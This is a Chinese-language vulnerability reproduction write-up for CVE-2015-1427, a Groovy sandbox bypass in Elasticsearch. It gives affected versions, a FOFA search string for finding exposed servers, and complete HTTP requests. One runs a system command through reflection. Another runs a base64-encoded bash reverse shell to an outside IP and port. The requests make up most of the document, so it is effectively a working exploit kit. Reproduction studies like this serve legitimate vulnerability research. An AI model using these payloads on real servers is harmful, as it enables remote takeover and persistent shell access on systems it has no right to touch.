-CVE-2015-1427 ElasticSearch 命令执行漏洞（Groovy 沙盒绕过）

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漏洞复现-CVE-2015-1427 ElasticSearch 命令执行漏洞（Groovy 沙盒绕过）

0x01 阅读须知

0x02 漏洞描述

 elasticsearch向使用者提供执行脚本代码的功能，支持mvel, js,groovy,python,和native语言，新版本脚本语言引擎换成了Groovy，并且加入了沙盒进行控制，危险的代码会被拦截，结果这次由于沙盒限制的不严格，导致远程代码执行。

0x03 漏洞复现

漏洞影响:Elasticsearch 1.3.0-1.3.7、1.4.0-1.4.2

FOFA:“ElasticSearch”

1.利用该漏洞要求Elasticsearch中有数据，所以先创建一条数据

POST /website/blog/ HTTP/1.1
Host: x.x.x.x:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

{
  "name": "test"
}

2.执行系统命令whoami

POST /_search?pretty HTTP/1.1
Host: x.x.x.x:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 493

{
    "size":1,
    "script_fields": {
        "test#": {  
            "script":
                "java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\").getInputStream())).readLines()",

            "lang": "groovy"
        }
    }

}

3.反弹shell

POST /_search?pretty HTTP/1.1
Host: x.x.x.x:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 584

{
    "size":1,
    "script_fields": {
        "test#": {  
            "script":
                "java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"bash -c {echo,YmFaaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjcwLzY1NDIgMD4mMQ==}|{base64,-d}|{bash,-i}\").getInputStream())).readLines()",

            "lang": "groovy"
        }
    }

}